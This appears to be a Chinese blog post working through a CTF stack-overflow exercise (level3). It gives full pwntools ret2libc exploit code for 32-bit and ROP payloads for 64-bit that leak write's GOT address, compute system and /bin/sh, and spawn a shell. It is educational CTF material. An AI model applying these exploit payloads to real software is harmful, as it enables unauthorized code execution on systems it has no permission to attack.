栈溢出基础练习题——4(写有64和32位两种攻击方式)

37 篇文章 3 订阅

题目地址:请看pwn栈溢出基础练习题——1 ;放了本博客的所有练习题目
pwn3

题目分析

题目给了libc函数
先checksec
在这里插入图片描述
反编译,明显存在一个漏洞函数,通过read()栈溢出
在这里插入图片描述
但此题困难点在于栈不能shellcode,并且并不存在system函数,但给了libc,则可以通过libc找到system函数

libc装载入内存时,基地址会变化,但由于是整体装入,函数偏移并不会变化
tips:本题虽然给了libc,但要是想打本地还是要用本地的libc,不然会出问题

思路:通过write函数输出write的真实地址,然后通过libc找到system的真实地址,调用system函数并传入/bin/sh参数即可

利用本地libc打本通本地

利用lld level3可以查看该函数在本地使用的libc
在这里插入图片描述
但该libc只是一个软连接,避免意外,找到真实libc最好,使用file libc文件即可
在这里插入图片描述
发现真实libc地址:/lib/i386-linux-gnu/libc-2.33.so

调试计算溢出地址


计算偏移地址为0x88+4

得到system函数地址

函数调用时,plt和got表关系图,总体而言got表存放了函数的真实地址
在这里插入图片描述
想法:可以根据已有的write函数地址和libc中的write函数可以计算libc这次载入时的基地址,基地址+system地址的偏移即可计算出system函数真实地址
因此我们要计算出函数运行时的write函数的真实地址,只需要输出got表中的write地址即可,并且可以通过用write函数将地址信息输出出来,则溢出目的:调用write函数并输出write函数真实地址

ssize_t write(int fd,void*buf,size_t count)

fd: 是文件描述符,对应1
buf: 需要写入的数据,通常为字符串;
count: 每次写入的字节数

payload = cyclic(0x88_4) + p32(elf.plt["write"]) + p32(elf.symbols["vulnerable_function"])+p32(1)+p32(elf.got["write"])+p32(4)
io.send(payload)
io.recv()

在这里插入图片描述

压入vulnerable_function_addr地址是因为这题还未解决,还要再次利用vulnerable_function里的read溢出,因此希望执行完后将函数返回到vulnerable_function

结果
在这里插入图片描述
这里输出的是字符串格式,用u32()解码即可
在这里插入图片描述
write真实地址为0xf7e4ad50

计算system真实地址

在这里插入图片描述

找到/bin/sh地址

虽然题目中没有/bin/sh地址,但是libc中存在,利用libc找到/bin/sh
bin_sh = libc_base + next(libc.search(b’/bin/sh’))

进行二次栈溢出

payload = cyclic(0x88+4)+p32(system_addr)+b’AAAA’ + p32(bin_sh)
在这里插入图片描述

完整攻击代码

from pwn import *
elf = ELF("./level3")
libc = ELF("/lib/i386-linux-gnu/libc-2.33.so")
io = process("./level3")
# 进行第一次栈溢出,并返回vulnerable函数
payload = cyclic(0x88+4) + p32(elf.plt["write"]) + p32(elf.symbols["vulnerable_function"])+p32(1)+p32(elf.got["write"])+p32(4)
io.send(payload)
io.recv()
write_addr = int(hex(u32(b'P\xad\xe4\xf7')),16)
libc_base = write_addr - libc.symbols["write"]
system_addr = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# 进行第二次栈溢出,进入sh
payload = cyclic(0x88+4)+p32(system_addr)+b'AAAA'  + p32(bin_sh) 
io.send(payload)
io.interactive()

64位

64位与32位函数调用时的区别

x86:

  • 使用栈传递参数
  • 使用eax存返回值
    在这里插入图片描述

注意x86参数是倒序存入栈的
amd64:

  • 前6个参数依次存放于rdi,rsi,rdx,rcx,r8,r9寄存器中
  • 后7个参数存放于栈中
    在这里插入图片描述

注意寄存器是顺着放入,当存入栈时也是逆序放入,因为栈先进后出

栈构造图

由于64位参数放在寄存器中,前三个参数分别放置在rdi,rsi,rdx
先ROPgadget下看这三个寄存器是否能pop ret
在这里插入图片描述
发现存在rdi、rsi ,但不没有rdx,由于是write函数的三个参数,第三个参数是输出数据的长度,我们这想要其输出write函数的真实地址,因此第三个参数>8即可,因此rdx存的值>8就行,这就看运气了
第一次栈溢出的栈结构图:
在这里插入图片描述

payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got["write"]) + b'A'*8 + p64(elf.plt["write"]) + p64(elf.symbols["vulnerable_function"])

第二次栈溢出的结构图

payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值